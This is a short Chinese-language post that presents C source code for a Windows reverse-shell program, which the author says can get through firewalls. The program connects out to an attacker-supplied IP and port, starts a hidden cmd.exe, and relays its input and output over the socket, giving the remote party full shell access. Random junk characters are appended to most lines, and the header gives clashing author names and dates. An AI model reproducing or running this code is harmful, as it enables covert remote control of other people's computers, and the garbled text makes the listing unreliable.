这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `TH\0/eE
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/* ============================== =yoR>llbBC
Rebound port in Windows NT a8-V`
By wind,2006/7 /F46Ac}I
===============================*/ <H{K&,Z(ZM
#include
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#include A%x0'?GU
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#pragma comment(lib,"wsock32.lib") 3177 R>0
mwsdl^c
void OutputShell(); apt$e$g
SOCKET sClient; :X:s'I4J
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Bsha)<
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void main(int argc,char **argv) r^H,H'BohJ
{ /^v!B`A@
WSADATA stWsaData; 9JX@ck
int nRet; {:3:GdM6
SOCKADDR_IN stSaiClient,stSaiServer; %3AE2"
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if(argc != 3) 78 ]Kv^l^_
{ ;?q}98-2
printf("Useage:\n\rRebound DestIP DestPort\n"); g4YlG"O[~
return; !aKu9SR^e
} 2-jXj9kp`
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7WY~v2SDF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z30 mk
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stSaiClient.sin_family = AF_INET; sv!v`zh
stSaiClient.sin_port = htons(0); gsUF\4A(J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !YI<A\P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zu~w:uNmU
{ U_;="y
printf("Bind Socket Failed!\n"); -7'|&zP
return; .p> ".q
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} :U=3*f.{
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stSaiServer.sin_family = AF_INET; R
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q1ayd$W@<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <mj/P|P@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U OGjil{.
{ v*FbvrY
printf("Connect Error!"); [@JK|50|K
return;
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} O[{/P:a
OutputShell(); &/-MUKN
} nC!]@lA
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void OutputShell() 12?!Z
{ wa{!%qu5.R
char szBuff[1024]; m#i4_F=^b
SECURITY_ATTRIBUTES stSecurityAttributes; |yz
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OSVERSIONINFO stOsversionInfo; ;\6@s3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 60cQ3.e
STARTUPINFO stStartupInfo; f F)M'C
char *szShell; S=.%aB
PROCESS_INFORMATION stProcessInformation; ULBEe@s
unsigned long lBytesRead; jT< I`K*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Bg[yn<)
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stSecurityAttributes.lpSecurityDescriptor = 0; /#SfgcDt
stSecurityAttributes.bInheritHandle = TRUE; 9_F&G('V{a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f~PS'I_r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3$q#^UvD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4b((,u$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @"A
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stStartupInfo.wShowWindow = SW_HIDE; D&I/Tbc
stStartupInfo.hStdInput = hReadPipe; /$]S'[5uF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4o;;'P
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GetVersionEx(&stOsversionInfo); 85)C7tJ-g
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switch(stOsversionInfo.dwPlatformId) }{j@q~w>$
{ r_T"b
case 1: r@]`#PL
szShell = "command.com"; ,x!r^YO=
break; DpeJx
default: rXT? w]4
szShell = "cmd.exe"; db8vm4
break; ^Y;,cLXJ
} }* }F_Y+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j~V$q/7S
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send(sClient,szMsg,77,0); @mv
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while(1) kksffzG
{ [!wJIy?,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /kK!xe
if(lBytesRead) q~5zv4NX
{ bZ:+q1
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *PV7s
send(sClient,szBuff,lBytesRead,0); (V&d:tW
} 9}a$0H
h
else ]\A=[T^
{ zVf79UrK
lBytesRead=recv(sClient,szBuff,1024,0); S]|sKY
if(lBytesRead<=0) break; rc<Ix
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d4ld-y
} tKcC{
} }CMGK{
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return; tP*GYWI48
}